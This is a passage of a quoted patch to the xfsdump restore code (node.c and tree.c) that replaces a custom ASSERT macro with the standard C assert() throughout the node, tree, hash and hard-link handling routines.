intgen_t fd, off64_t off ) > { > /* sanity checks > */ > - ASSERT( sizeof( node_hdr_t ) <= NODE_HDRSZ ); > + assert( sizeof( node_hdr_t ) <= NODE_HDRSZ ); > > /* map the abstraction header > */ > - ASSERT( ( NODE_HDRSZ & pgmask ) == 0 ); > - ASSERT( off <= ( off64_t )OFF64MAX ); > - ASSERT( ! ( off % ( off64_t )pgsz )); > + assert( ( NODE_HDRSZ & pgmask ) == 0 ); > + assert( off <= ( off64_t )OFF64MAX ); > + assert( ! ( off % ( off64_t )pgsz )); > node_hdrp = ( node_hdr_t * )mmap_autogrow( > NODE_HDRSZ, > fd, > @@ -454,8 +455,8 @@ node_alloc( void ) > hkpp = p + node_hdrp->nh_nodehkix; > gen = ( u_char_t )( HKPGETGEN( *p ) + ( u_char_t )1 ); > unq = HKPGETUNQ( *hkpp ); > - ASSERT( unq != NODEUNQALCD ); > - ASSERT( unq == NODEUNQFREE ); > + assert( unq != NODEUNQALCD ); > + assert( unq == NODEUNQFREE ); > #endif /* NODECHK */ > > /* adjust the free list */ > @@ -473,7 +474,7 @@ node_alloc( void ) > ( off64_t )nh2segix( node_hdrp->nh_virgnh ) * > ( off64_t )node_hdrp->nh_segsz; > > - ASSERT( new_seg_off > + assert( new_seg_off > <= > OFF64MAX - ( off64_t )node_hdrp->nh_segsz ); > mlog( MLOG_DEBUG, > @@ -531,7 +532,7 @@ node_map( nh_t nh ) > register u_char_t nodeunq; > #endif /* NODECHK */ > > - ASSERT( nh != NH_NULL ); > + assert( nh != NH_NULL ); > > /* convert the handle into an index > */ > @@ -540,7 +541,7 @@ node_map( nh_t nh ) > nh = HDLGETNHDL( nh ); > #endif /* NODECHK */ > > - ASSERT( nh <= NH_MAX ); > + assert( nh <= NH_MAX ); > > /* map in > */ > @@ -553,9 +554,9 @@ node_map( nh_t nh ) > hkp = *( p + node_hdrp->nh_nodehkix ); > nodegen = HKPGETGEN( hkp ); > nodeunq = HKPGETUNQ( hkp ); > - ASSERT( nodegen == hdlgen ); > - ASSERT( nodeunq != NODEUNQFREE ); > - ASSERT( nodeunq == NODEUNQALCD ); > + assert( nodegen == hdlgen ); > + assert( nodeunq != NODEUNQFREE ); > + assert( nodeunq == NODEUNQALCD ); > #endif /* NODECHK */ > > return ( void * )p; > @@ -580,9 +581,9 @@ node_free( nh_t *nhp ) > register u_char_t nodeunq; > #endif /* NODECHK */ > > - ASSERT( nhp ); > + assert( nhp ); > nh = *nhp; > - ASSERT( nh != NH_NULL ); > + assert( nh != NH_NULL ); > > /* convert the handle into an index > */ > @@ -591,7 +592,7 @@ node_free( nh_t *nhp ) > nh = HDLGETNHDL( nh ); > #endif /* NODECHK */ > > - ASSERT( nh <= NH_MAX ); > + assert( nh <= NH_MAX ); > > /* map in > */ > @@ -607,9 +608,9 @@ node_free( nh_t *nhp ) > hkpp = p + node_hdrp->nh_nodehkix; > nodegen = HKPGETGEN( *hkpp ); > nodeunq = HKPGETUNQ( *hkpp ); > - ASSERT( nodegen == hdlgen ); > - ASSERT( nodeunq != NODEUNQFREE ); > - ASSERT( nodeunq == NODEUNQALCD ); > + assert( nodegen == hdlgen ); > + assert( nodeunq != NODEUNQFREE ); > + assert( nodeunq == NODEUNQALCD ); > *hkpp = HKPMKHKP( nodegen, NODEUNQFREE ); > #endif /* NODECHK */ > > diff --git a/restore/tree.c b/restore/tree.c > index 08e177f..d377590 100644 > --- a/restore/tree.c > +++ b/restore/tree.c > @@ -28,6 +28,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "exit.h" > @@ -351,16 +352,16 @@ tree_init( char *hkdir, > > /* sanity checks > */ > - ASSERT( ! ( PERSSZ % pgsz )); > - ASSERT( sizeof( persp ) <= PERSSZ ); > - ASSERT( sizeof( node_t ) <= NODESZ ); > - ASSERT( ! persp ); > - ASSERT( ! tranp ); > + assert( ! ( PERSSZ % pgsz )); > + assert( sizeof( persp ) <= PERSSZ ); > + assert( sizeof( node_t ) <= NODESZ ); > + assert( ! persp ); > + assert( ! tranp ); > > /* allocate transient state > */ > tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); > - ASSERT( tranp ); > + assert( tranp ); > > tranp->t_toconlypr = toconlypr; > tranp->t_hkdir = hkdir; > @@ -425,7 +426,7 @@ tree_init( char *hkdir, > > /* mmap the persistent state > */ > - ASSERT( ! ( PERSSZ % pgsz )); > + assert( ! ( PERSSZ % pgsz )); > persp = ( treepers_t * ) mmap_autogrow( > PERSSZ, > tranp->t_persfd, > @@ -450,9 +451,9 @@ tree_init( char *hkdir, > * begin immediately after the hash abstraction. give it the remainder > * of vm. > */ > - ASSERT( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); > + assert( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); > nodeoff = ( off64_t )PERSSZ + ( off64_t )persp->p_hashsz; > - ASSERT( vmsz > ( size64_t )nodeoff ); > + assert( vmsz > ( size64_t )nodeoff ); > ok = node_init( tranp->t_persfd, > nodeoff, > NODESZ, > @@ -539,16 +540,16 @@ tree_sync( char *hkdir, > > /* sanity checks > */ > - ASSERT( ! ( PERSSZ % pgsz )); > - ASSERT( sizeof( persp ) <= PERSSZ ); > - ASSERT( sizeof( node_t ) <= NODESZ ); > - ASSERT( ! persp ); > - ASSERT( ! tranp ); > + assert( ! ( PERSSZ % pgsz )); > + assert( sizeof( persp ) <= PERSSZ ); > + assert( sizeof( node_t ) <= NODESZ ); > + assert( ! persp ); > + assert( ! tranp ); > > /* allocate transient state > */ > tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); > - ASSERT( tranp ); > + assert( tranp ); > > tranp->t_toconlypr = toconlypr; > tranp->t_hkdir = hkdir; > @@ -600,7 +601,7 @@ tree_sync( char *hkdir, > > /* mmap the persistent state > */ > - ASSERT( ! ( PERSSZ % pgsz )); > + assert( ! ( PERSSZ % pgsz )); > persp = ( treepers_t * ) mmap_autogrow( > PERSSZ, > tranp->t_persfd, > @@ -637,7 +638,7 @@ tree_sync( char *hkdir, > > /* synchronize with the node abstraction. > */ > - ASSERT( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); > + assert( persp->p_hashsz <= ( size64_t )( OFF64MAX - ( off64_t )PERSSZ)); > nodeoff = ( off64_t )PERSSZ + ( off64_t )persp->p_hashsz; > ok = node_sync( tranp->t_persfd, nodeoff ); > if ( ! ok ) { > @@ -687,7 +688,7 @@ tree_marknoref( void ) > node_t *orphp; > orphp = Node_map( persp->p_orphh ); > orphp->n_flags |= ( NF_REFED | NF_DUMPEDDIR ); > - ASSERT( orphp->n_dah == DAH_NULL ); > + assert( orphp->n_dah == DAH_NULL ); > Node_unmap( persp->p_orphh, &orphp ); > } > } > @@ -740,12 +741,12 @@ tree_begindir( filehdr_t *fhdrp, dah_t *dahp ) > > /* sanity check - orphino is supposed to be an unused ino! > */ > - ASSERT( ino != orphino ); > + assert( ino != orphino ); > > /* lookup head of hardlink list > */ > hardh = link_hardh( ino, gen ); > - ASSERT( ino != persp->p_rootino || hardh == persp->p_rooth ); > + assert( ino != persp->p_rootino || hardh == persp->p_rooth ); > > /* already present > */ > @@ -762,7 +763,7 @@ tree_begindir( filehdr_t *fhdrp, dah_t *dahp ) > gen, > fhdrp->fh_stat.bs_gen ); > if ( ! tranp->t_toconlypr ) { > - ASSERT( hardp->n_dah == DAH_NULL ); > + assert( hardp->n_dah == DAH_NULL ); > hardp->n_dah = dirattr_add( fhdrp ); > } > } else if ( ! tranp->t_toconlypr && hardp->n_dah == DAH_NULL ) { > @@ -829,7 +830,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) > > /* sanity check - orphino is supposed to be an unused ino! > */ > - ASSERT( ino != orphino ); > + assert( ino != orphino ); > > /* don't allow entries named "orphanage" under root to be added > */ > @@ -885,7 +886,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) > return RV_ERROR; > } > if ( hardp->n_lnkh != NH_NULL ) { > - ASSERT( hardp->n_flags & NF_REAL ); > + assert( hardp->n_flags & NF_REAL ); > renameh = hardp->n_lnkh; > renamep = Node_map( renameh ); > if ( renamep->n_parh == NH_NULL ) { > @@ -912,7 +913,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) > namreg_get( renamep->n_nrh, > tranp->t_namebuf, > sizeof( tranp->t_namebuf )); > - ASSERT( namebuflen > 0 ); > + assert( namebuflen > 0 ); > if ( strcmp( name, > tranp->t_namebuf )) { > mlog( MLOG_DEBUG > @@ -944,10 +945,10 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) > nrh_t nrh; > > hardp->n_flags &= ~NF_NEWORPH; > - ASSERT( hardp->n_nrh == NRH_NULL ); > - ASSERT( hardp->n_parh != NH_NULL ); > + assert( hardp->n_nrh == NRH_NULL ); > + assert( hardp->n_parh != NH_NULL ); > nrh = disown( hardh ); > - ASSERT( nrh == NRH_NULL ); > + assert( nrh == NRH_NULL ); > nrh = namreg_add( name, namelen ); > adopt( parh, hardh, nrh ); > mlog( MLOG_DEBUG | MLOG_TREE, > @@ -958,13 +959,13 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) > gen ); > } > } else { > - ASSERT( hardp->n_nrh != NRH_NULL ); > + assert( hardp->n_nrh != NRH_NULL ); > namebuflen > = > namreg_get( hardp->n_nrh, > tranp->t_namebuf, > sizeof( tranp->t_namebuf )); > - ASSERT( namebuflen > 0 ); > + assert( namebuflen > 0 ); > if ( hardp->n_parh == parh > && > ! strcmp( tranp->t_namebuf, name )) { > @@ -1021,7 +1022,7 @@ tree_addent( nh_t parh, xfs_ino_t ino, gen_t gen, char *name, size_t namelen ) > Node_unmap( renameh, &renamep ); > } > renamep = Node_map( renameh ); > - ASSERT( hardp->n_parh != NH_NULL ); > + assert( hardp->n_parh != NH_NULL ); > if ( hardp->n_parh != parh ) { > /* different parent > */ > @@ -1220,7 +1221,7 @@ tree_post( char *path1, char *path2 ) > } > > #ifdef TREE_CHK > - ASSERT( tree_chk( )); > + assert( tree_chk( )); > #endif /* TREE_CHK */ > > /* rename directories > @@ -1238,7 +1239,7 @@ tree_post( char *path1, char *path2 ) > } > > #ifdef TREE_CHK > - ASSERT( tree_chk( )); > + assert( tree_chk( )); > #endif /* TREE_CHK */ > > /* process hard links > @@ -1321,7 +1322,7 @@ noref_elim_recurse( nh_t parh, > if ( ! isrefpr ) { > nrh_t nrh; > > - ASSERT( ! isrenamepr ); > + assert( ! isrenamepr ); > if ( isrealpr ) { > ok = Node2path( cldh, path1, _("rmdir") ); > if ( ! ok ) { > @@ -1346,7 +1347,7 @@ noref_elim_recurse( nh_t parh, > } > } > nrh = disown( cldh ); > - ASSERT( nrh != NRH_NULL ); > + assert( nrh != NRH_NULL ); > namreg_del( nrh ); > link_out( cldh ); > Node_free( &cldh ); > @@ -1356,8 +1357,8 @@ noref_elim_recurse( nh_t parh, > nrh_t nrh; > node_t *renamep; > > - ASSERT( isrefpr ); > - ASSERT( isrealpr ); > + assert( isrefpr ); > + assert( isrealpr ); > ok = Node2path( cldh, > path1, > _("tmp dir rename src") ); > @@ -1366,7 +1367,7 @@ noref_elim_recurse( nh_t parh, > continue; > } > nrh = disown( cldh ); > - ASSERT( nrh != NRH_NULL ); > + assert( nrh != NRH_NULL ); > adopt( persp->p_orphh, cldh, NRH_NULL ); > ok = Node2path( cldh, > path2, > @@ -1375,7 +1376,7 @@ noref_elim_recurse( nh_t parh, > /* REFERENCED */ > nrh_t dummynrh; > dummynrh = disown( cldh ); > - ASSERT( dummynrh == NRH_NULL ); > + assert( dummynrh == NRH_NULL ); > adopt( parh, cldh, nrh ); > cldh = nextcldh; > continue; > @@ -1395,7 +1396,7 @@ noref_elim_recurse( nh_t parh, > path2, > strerror( errno )); > dummynrh = disown( cldh ); > - ASSERT( dummynrh == NRH_NULL ); > + assert( dummynrh == NRH_NULL ); > adopt( parh, cldh, nrh ); > cldh = nextcldh; > continue; > @@ -1436,7 +1437,7 @@ noref_elim_recurse( nh_t parh, > nh_t hardh; > bool_t neededpr; > hardh = link_hardh( ino, gen ); > - ASSERT( hardh != NH_NULL ); > + assert( hardh != NH_NULL ); > canunlinkpr = BOOL_FALSE; > neededpr = BOOL_FALSE; > /* tes@sgi.com: > @@ -1475,7 +1476,7 @@ noref_elim_recurse( nh_t parh, > if ( mustorphpr ) { > /* rename file to orphanage */ > nrh_t nrh; > - ASSERT( ! canunlinkpr ); > + assert( ! canunlinkpr ); > ok = Node2path( cldh, > path1, > _("tmp nondir rename src") ); > @@ -1484,7 +1485,7 @@ noref_elim_recurse( nh_t parh, > continue; > } > nrh = disown( cldh ); > - ASSERT( nrh != NRH_NULL ); > + assert( nrh != NRH_NULL ); > adopt( persp->p_orphh, cldh, NRH_NULL ); > ok = Node2path( cldh, > path2, > @@ -1493,7 +1494,7 @@ noref_elim_recurse( nh_t parh, > /* REFERENCED */ > nrh_t dummynrh; > dummynrh = disown( cldh ); > - ASSERT( dummynrh == NRH_NULL ); > + assert( dummynrh == NRH_NULL ); > adopt( parh, cldh, nrh ); > cldh = nextcldh; > continue; > @@ -1513,7 +1514,7 @@ noref_elim_recurse( nh_t parh, > path2, > strerror( errno )); > dummynrh = disown( cldh ); > - ASSERT( dummynrh == NRH_NULL ); > + assert( dummynrh == NRH_NULL ); > adopt( parh, cldh, nrh ); > cldh = nextcldh; > continue; > @@ -1527,7 +1528,7 @@ noref_elim_recurse( nh_t parh, > /* REFERENCED */ > nrh_t nrh; > > - ASSERT( ! mustorphpr ); > + assert( ! mustorphpr ); > if ( isrealpr ) { > ok = Node2path( cldh, path1, _("rmdir") ); > if ( ! ok ) { > @@ -1553,7 +1554,7 @@ noref_elim_recurse( nh_t parh, > } > } > nrh = disown( cldh ); > - ASSERT( nrh != NRH_NULL ); > + assert( nrh != NRH_NULL ); > link_out( cldh ); > Node_free( &cldh ); > } > @@ -1662,7 +1663,7 @@ rename_dirs( nh_t cldh, > isrenamepr = isdirpr && renameh != NH_NULL; > nextcldh = cldp->n_sibh; > Node_unmap( cldh, &cldp ); > - ASSERT( parh == persp->p_orphh ); > + assert( parh == persp->p_orphh ); > > if ( isrenamepr ) { > node_t *renamep; > @@ -1681,12 +1682,12 @@ rename_dirs( nh_t cldh, > continue; > } > dummynrh = disown( cldh ); > - ASSERT( dummynrh == NRH_NULL ); > + assert( dummynrh == NRH_NULL ); > adopt( newparh, cldh, newnrh ); > ok = Node2path( cldh, path2, _("rename dir") ); > if ( ! ok ) { > dummynrh = disown( cldh ); > - ASSERT( dummynrh == newnrh ); > + assert( dummynrh == newnrh ); > adopt( persp->p_orphh, cldh, NRH_NULL ); > cldp = Node_map( cldh ); > cldp->n_nrh = NRH_NULL; > @@ -1707,7 +1708,7 @@ rename_dirs( nh_t cldh, > path2, > strerror( errno )); > dummynrh = disown( cldh ); > - ASSERT( dummynrh == newnrh ); > + assert( dummynrh == newnrh ); > adopt( persp->p_orphh, cldh, NRH_NULL ); > cldh = nextcldh; > continue; > @@ -1964,7 +1965,7 @@ tree_cb_links( xfs_ino_t ino, > link_in( nh ); > adopt( persp->p_orphh, nh, NRH_NULL ); > ok = Node2path( nh, path1, _("orphan") ); > - ASSERT( ok ); > + assert( ok ); > ( void )( * funcp )( contextp, BOOL_FALSE, path1,path2); > } > } > @@ -2271,7 +2272,7 @@ proc_hardlinks_cb( void *contextp, nh_t hardheadh ) > } > continue; > } > - ASSERT( 0 ); > + assert( 0 ); > } > > /* now pass through dst list, doing renames if src list not empty, > @@ -2700,7 +2701,7 @@ restart: > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > /* execute commands until time to extract or quit. always begin with > @@ -2736,9 +2737,9 @@ restart: > } else if ( responseix == abortix ) { > ackstr[ ackcnt++ ] = _("abort\n"); > } else { > - ASSERT( responseix == okix ); > + assert( responseix == okix ); > } > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_string_ack( ackstr, > ackcnt ); > > @@ -2753,7 +2754,7 @@ restart: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, postamblecnt ); > > /* if sighup or sigquit, immediately quit > @@ -2765,7 +2766,7 @@ restart: > /* if sigint, allow main thread to decide if > * operator really wants to quit > */ > - ASSERT( responseix == sigintix ); > + assert( responseix == sigintix ); > if ( cldmgr_stop_requested( )) { > return BOOL_FALSE; > } > @@ -2794,7 +2795,7 @@ restart: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, postamblecnt ); > > /* pv 773569 - quit is not a reason to consider session > @@ -2846,7 +2847,7 @@ tsi_cmd_pwd_recurse( void *ctxp, > register intgen_t namelen; > nrh_t nrh; > > - ASSERT( nh != NH_NULL ); > + assert( nh != NH_NULL ); > > np = Node_map( nh ); > nrh = np->n_nrh; > @@ -2857,11 +2858,11 @@ tsi_cmd_pwd_recurse( void *ctxp, > /* RECURSION */ > ( * pcb )( pctxp, "/" ); > } > - ASSERT( nrh != NRH_NULL ); > + assert( nrh != NRH_NULL ); > namelen = namreg_get( nrh, > tranp->t_inter.i_name, > sizeof( tranp->t_inter.i_name )); > - ASSERT( namelen > 0 ); > + assert( namelen > 0 ); > ( * pcb )( pctxp, tranp->t_inter.i_name ); > } > > @@ -2933,7 +2934,7 @@ tsi_cmd_ls( void *ctxp, > namelen = namreg_get( nrh, > tranp->t_inter.i_name, > sizeof( tranp->t_inter.i_name )); > - ASSERT( namelen > 0 ); > + assert( namelen > 0 ); > ( * pcb )( pctxp, > " %s %10llu %s%s\n", > isselpr ? "*" : " ", > @@ -2983,7 +2984,7 @@ tsi_cmd_cd( void *ctxp, > /* if named is not a dir, complain > */ > if ( ! isdirpr ) { > - ASSERT( arg ); > + assert( arg ); > ( * pcb )( pctxp, > _("%s is not a directory\n"), > arg ); > @@ -3152,7 +3153,7 @@ tsi_cmd_match( void ) > return 0; > } > > - ASSERT( tblp->tct_argcmin != 0 ); > + assert( tblp->tct_argcmin != 0 ); > if ( tranp->t_inter.i_argc < tblp->tct_argcmin ) { > return 0; > } > @@ -3224,11 +3225,11 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, > * or at the current working directory > */ > if ( path && *path == '/' ) { > - ASSERT( rooth != NH_NULL ); > + assert( rooth != NH_NULL ); > namedh = rooth; > path++; > } else { > - ASSERT( cwdh != NH_NULL ); > + assert( cwdh != NH_NULL ); > namedh = cwdh; > } > > @@ -3239,7 +3240,7 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, > cldh = namedp->n_cldh; > ino = namedp->n_ino; > isselpr = ( namedp->n_flags & NF_SUBTREE ); > - ASSERT( namedp->n_flags & NF_ISDIR ); > + assert( namedp->n_flags & NF_ISDIR ); > Node_unmap( namedh, &namedp ); > isdirpr = BOOL_TRUE; > > @@ -3278,12 +3279,12 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, > * the path pointer. > */ > namelen = strcspn( path, "/" ); > - ASSERT( namelen < sizeof( nbuf )); > + assert( namelen < sizeof( nbuf )); > strncpy( nbuf, path, namelen ); > nbuf[ namelen ] = 0; > path += namelen; > if ( *path ) { > - ASSERT( *path == '/' ); > + assert( *path == '/' ); > strpatchp = path; > *strpatchp = 0; > path++; > @@ -3353,12 +3354,12 @@ tsi_walkpath( char *arg, nh_t rooth, nh_t cwdh, > isselpr = ( sibp->n_flags & NF_SUBTREE ); > isdirpr = ( sibp->n_flags & NF_ISDIR ); > Node_unmap( sibh, &sibp ); > - ASSERT( nrh != NRH_NULL || sibh == persp->p_orphh ); > + assert( nrh != NRH_NULL || sibh == persp->p_orphh ); > if ( nrh != NRH_NULL ) { > siblen = namreg_get( nrh, > tranp->t_inter.i_name, > sizeof( tranp->t_inter.i_name )); > - ASSERT( siblen > 0 ); > + assert( siblen > 0 ); > if ( ! strcmp( nbuf, tranp->t_inter.i_name )) { > break; > } > @@ -3523,7 +3524,7 @@ Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) > /* if we have a cache hit, no need to recurse any further > */ > if ( nh == cache.nh ) { > - ASSERT( bufsz > cache.len ); > + assert( bufsz > cache.len ); > strcpy( buf, cache.buf ); > return bufsz - cache.len; > } > @@ -3550,7 +3551,7 @@ Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) > /* insert slash if parent not root > */ > if ( parh != persp->p_rooth ) { > - ASSERT( bufsz + MAXPATHLEN >= 2 ); > + assert( bufsz + MAXPATHLEN >= 2 ); > *buf++ = '/'; > *( buf + 1 ) = 0; > bufsz--; > @@ -3566,15 +3567,15 @@ Node2path_recurse( nh_t nh, char *buf, intgen_t bufsz, intgen_t level ) > } else if ( nh == persp->p_orphh ) { > namelen = sprintf( buf, "%s", orphname ); > } else { > - ASSERT( nrh != NRH_NULL ); > + assert( nrh != NRH_NULL ); > namelen = namreg_get( nrh, buf, ( size_t )bufsz + MAXPATHLEN ); > - ASSERT( namelen > 0 ); > + assert( namelen > 0 ); > } > > /* update remaining buffer size > */ > bufsz -= namelen; > - ASSERT( bufsz + MAXPATHLEN > 0 ); > + assert( bufsz + MAXPATHLEN > 0 ); > > /* update the cache if we're the target's parent > * (and the pathname is not too long) > @@ -3639,7 +3640,7 @@ disown( nh_t cldh ) > nrh = cldp->n_nrh; > > parh = cldp->n_parh; > - ASSERT( parh != NH_NULL ); > + assert( parh != NH_NULL ); > if ( parh == NH_NULL ) { > mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_TREE, _( > "attempt to disown child " > @@ -3647,7 +3648,7 @@ disown( nh_t cldh ) > return nrh; > } > parp = Node_map( parh ); > - ASSERT( parp->n_cldh != NH_NULL ); > + assert( parp->n_cldh != NH_NULL ); > if ( parp->n_cldh == NH_NULL ) { > mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_TREE, _( > "attempt to disown child " > @@ -3668,7 +3669,7 @@ disown( nh_t cldh ) > nh_t prevcldh = cldp->n_sibprevh; > node_t *prevcldp; > > - ASSERT(prevcldh != NH_NULL); /* must be a previous */ > + assert(prevcldh != NH_NULL); /* must be a previous */ > prevcldp = Node_map( prevcldh ); > > /* fix up previous */ > @@ -3865,7 +3866,7 @@ link_matchh( nh_t hardh, nh_t parh, char *name ) > namelen = namreg_get( np->n_nrh, > tranp->t_namebuf, > sizeof( tranp->t_namebuf )); > - ASSERT( namelen > 0 ); > + assert( namelen > 0 ); > if ( ! strcmp( name, tranp->t_namebuf )) { > Node_unmap( hardh, &np ); > break; > @@ -3955,7 +3956,7 @@ link_out( nh_t nh ) > /* get head of hard link list > */ > hardh = hash_find( ino, gen ); > - ASSERT( hardh != NH_NULL ); > + assert( hardh != NH_NULL ); > > /* if node is at head of hard link list, hash it out and > * hash in the following node in link list, if there is one. > @@ -3973,7 +3974,7 @@ link_out( nh_t nh ) > nh_t nexth = prevp->n_lnkh; > Node_unmap( prevh, &prevp ); > prevh = nexth; > - ASSERT( prevh != NH_NULL ); > + assert( prevh != NH_NULL ); > prevp = Node_map( prevh ); > } > prevp->n_lnkh = np->n_lnkh; > @@ -4033,7 +4034,7 @@ link_iter_next( link_iter_context_t *link_iter_contextp ) > /* if no last, must be first call > */ > if ( tmplasth == NH_NULL ) { > - ASSERT( link_iter_contextp->li_prevh == NH_NULL ); > + assert( link_iter_contextp->li_prevh == NH_NULL ); > link_iter_contextp->li_lasth = link_iter_contextp->li_headh; > return link_iter_contextp->li_lasth; > } > @@ -4065,8 +4066,8 @@ link_iter_unlink( link_iter_context_t *link_iter_contextp, nh_t nh ) > > /* sanity checks > */ > - ASSERT( link_iter_contextp->li_lasth != NH_NULL ); > - ASSERT( nh == link_iter_contextp->li_lasth ); > + assert( link_iter_contextp->li_lasth != NH_NULL ); > + assert( nh == link_iter_contextp->li_lasth ); > > /* get the next node in list > */ > @@ -4076,7 +4077,7 @@ link_iter_unlink( link_iter_context_t *link_iter_contextp, nh_t nh ) > Node_unmap( link_iter_contextp->li_lasth, &lastp ); > > if ( link_iter_contextp->li_lasth == link_iter_contextp->li_headh ) { > - ASSERT( link_iter_contextp->li_prevh == NH_NULL ); > + assert( link_iter_contextp->li_prevh == NH_NULL ); > hash_out( link_iter_contextp->li_headh ); > link_iter_contextp->li_headh = nexth; > if ( nexth != NH_NULL ) { > @@ -4084,7 +4085,7 @@ link_iter_unlink( link_iter_context_t *link_iter_contextp, nh_t nh ) > } > } else { > node_t *prevp; > - ASSERT( link_iter_contextp->li_prevh != NH_NULL ); > + assert( link_iter_contextp->li_prevh != NH_NULL ); > prevp = Node_map( link_iter_contextp->li_prevh ); > prevp->n_lnkh = nexth; > Node_unmap( link_iter_contextp->li_prevh, &prevp ); > @@ -4112,7 +4113,7 @@ hash_init( size64_t vmsz, > > /* sanity checks > */ > - ASSERT( pgsz % sizeof( nh_t ) == 0 ); > + assert( pgsz % sizeof( nh_t ) == 0 ); > > /* calculate the size of the hash array. must be a power of two, > * and a multiple of the page size. don't use more than the available > @@ -4130,11 +4131,11 @@ hash_init( size64_t vmsz, > ; > loghashlen++ ) > ; > - ASSERT( loghashlen > 0 ); > + assert( loghashlen > 0 ); > hashlen = ( size64_t )1 << loghashlen; > if (hashlen > hashlenmax) > hashlen >>= 1; > - ASSERT( hashlen <= hashlenmax ); > + assert( hashlen <= hashlenmax ); > > /* record hash size in persistent state > */ > @@ -4142,9 +4143,9 @@ hash_init( size64_t vmsz, > > /* map the hash array just after the persistent state header > */ > - ASSERT( persp->p_hashsz <= SIZEMAX ); > - ASSERT( ! ( persp->p_hashsz % ( size64_t )pgsz )); > - ASSERT( ! ( PERSSZ % pgsz )); > + assert( persp->p_hashsz <= SIZEMAX ); > + assert( ! ( persp->p_hashsz % ( size64_t )pgsz )); > + assert( ! ( PERSSZ % pgsz )); > tranp->t_hashp = ( nh_t * ) mmap_autogrow( > ( size_t )persp->p_hashsz, > tranp->t_persfd, > @@ -4166,7 +4167,7 @@ hash_init( size64_t vmsz, > /* build a hash mask. this works because hashlen is a power of two. > * record in persistent state. > */ > - ASSERT( hashlen - 1 <= SIZEMAX ); > + assert( hashlen - 1 <= SIZEMAX ); > persp->p_hashmask = ( size_t )( hashlen - 1 ); > > return BOOL_TRUE; > @@ -4179,18 +4180,18 @@ hash_sync( char *perspath ) > > /* sanity checks > */ > - ASSERT( pgsz % sizeof( nh_t ) == 0 ); > + assert( pgsz % sizeof( nh_t ) == 0 ); > > /* retrieve the hash size from the persistent state > */ > hashsz = persp->p_hashsz; > - ASSERT( ! ( hashsz % sizeof( nh_t ))); > + assert( ! ( hashsz % sizeof( nh_t ))); > > /* map the hash array just after the persistent state header > */ > - ASSERT( hashsz <= SIZEMAX ); > - ASSERT( ! ( hashsz % ( size64_t )pgsz )); > - ASSERT( ! ( PERSSZ % pgsz )); > + assert( hashsz <= SIZEMAX ); > + assert( ! ( hashsz % ( size64_t )pgsz )); > + assert( ! ( PERSSZ % pgsz )); > tranp->t_hashp = ( nh_t * ) mmap_autogrow( > ( size_t )hashsz, > tranp->t_persfd, > @@ -4236,7 +4237,7 @@ hash_in( nh_t nh ) > > /* assert not already in > */ > - ASSERT( hash_find( np->n_ino, np->n_gen ) == NH_NULL ); > + assert( hash_find( np->n_ino, np->n_gen ) == NH_NULL ); > > /* calculate the hash index > */ > @@ -4248,7 +4249,7 @@ hash_in( nh_t nh ) > > /* insert into the list, at the head > */ > - ASSERT( np->n_hashh == NH_NULL ); > + assert( np->n_hashh == NH_NULL ); > np->n_hashh = *entryp; > *entryp = nh; > > @@ -4282,7 +4283,7 @@ hash_out( nh_t nh ) > /* get the handle of the first node in the appropriate hash array > */ > hashheadh = *entryp; > - ASSERT( hashheadh != NH_NULL ); > + assert( hashheadh != NH_NULL ); > > /* if node is first in list, replace entry with following node. > * otherwise, walk the list until found. > @@ -4296,7 +4297,7 @@ hash_out( nh_t nh ) > nh_t nexth = prevp->n_hashh; > Node_unmap( prevh, &prevp ); > prevh = nexth; > - ASSERT( prevh != NH_NULL ); > + assert( prevh != NH_NULL ); > prevp = Node_map( prevh ); > } > prevp->n_hashh = np->n_hashh; > @@ -4412,11 +4413,11 @@ Node_chk( nh_t nh, nh_t *nexthashhp, nh_t *nextlnkhp ) > *nexthashhp = NH_NULL; > } > > - ASSERT( nextlnkhp ); > + assert( nextlnkhp ); > *nextlnkhp = NH_NULL; > > np = Node_map( nh ); > - ASSERT( np ); > + assert( np ); > n = *np; > Node_unmap( nh, &np ); > > @@ -4456,7 +4457,7 @@ Node_chk( nh_t nh, nh_t *nexthashhp, nh_t *nextlnkhp ) > if ( n.n_nrh != NRH_NULL ) { > intgen_t rval; > rval = namreg_get( n.n_nrh, nambuf, sizeof( nambuf )); > - ASSERT( rval >= 0 ); > + assert( rval >= 0 ); > } > > if ( n.n_dah != DAH_NULL ) { > @@ -4539,7 +4540,7 @@ tree_chk2_recurse( nh_t cldh, nh_t parh ) > { > bool_t okaccum = 